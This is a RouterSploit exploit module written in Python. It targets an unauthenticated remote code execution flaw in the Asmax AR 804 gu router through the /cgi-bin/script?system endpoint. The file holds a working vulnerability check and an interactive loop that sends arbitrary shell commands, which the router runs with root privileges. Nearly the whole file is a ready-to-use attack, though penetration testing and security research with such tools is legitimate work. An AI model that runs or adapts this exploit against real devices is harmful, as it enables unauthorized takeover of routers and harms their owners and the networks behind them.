import string

from routersploit import (
    exploits,
    print_success,
    print_status,
    print_error,
    sanitize_url,
    http_request,
    random_text,
    mute,
)


class Exploit(exploits.Exploit):
    """
    Exploit implementation for Asmax AR 804 Remote Code Execution vulnerability.
    If the target is vulnerable, command loop is invoked that allows executing commands with root privileges.
    """
    __info__ = {
        'name': 'Asmax AR 804 RCE',
        'authors': [
             'Michal Sajdak <michal.sajdak@securitum.com>',  # vulnerability discovery
             'Marcin Bury <marcin.bury@reverse-shell.com>',  # routersploit module
        ],
        'description': 'Module exploits Asmax AR 804 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges.',
        'references': [
             'http://www.securitum.pl/dh/asmax-ar-804-gu-compromise',
             'https://www.exploit-db.com/exploits/8846/',
        ],
        'devices': [
             'Asmax AR 804 gu',
        ],
    }

    target = exploits.Option('', 'Target address e.g. http://192.168.1.1')
    port = exploits.Option(80, 'Target Port')

    def run(self):
        if self.check():
            print_success("Target is vulnerable")
            print_status("Invoking command loop...")
            self.command_loop()
        else:
            print_error("Target is not vulnerable")

    def command_loop(self):
        while 1:
            cmd = raw_input("cmd > ")

            if cmd in ['exit', 'quit']:
                return

            print self.execute(cmd)

    def execute(self, cmd):
        url = sanitize_url("{}:{}/cgi-bin/script?system%20{}".format(self.target, self.port, cmd))

        response = http_request(method="GET", url=url)
        if response is None:
            return ""

        return response.text

    @mute
    def check(self):
        number = int(random_text(6, alph=string.digits))
        solution = number - 1

        cmd = "echo $(({}-1))".format(number)
        url = sanitize_url("{}:{}/cgi-bin/script?system%20{}".format(self.target, self.port, cmd))

        response = http_request(method="GET", url=url)
        if response is None:
            return False  # target is not vulnerable

        if response.status_code == 200 and str(solution) in response.text:
            return True  # target is vulnerable

        return False  # target is not vulnerable
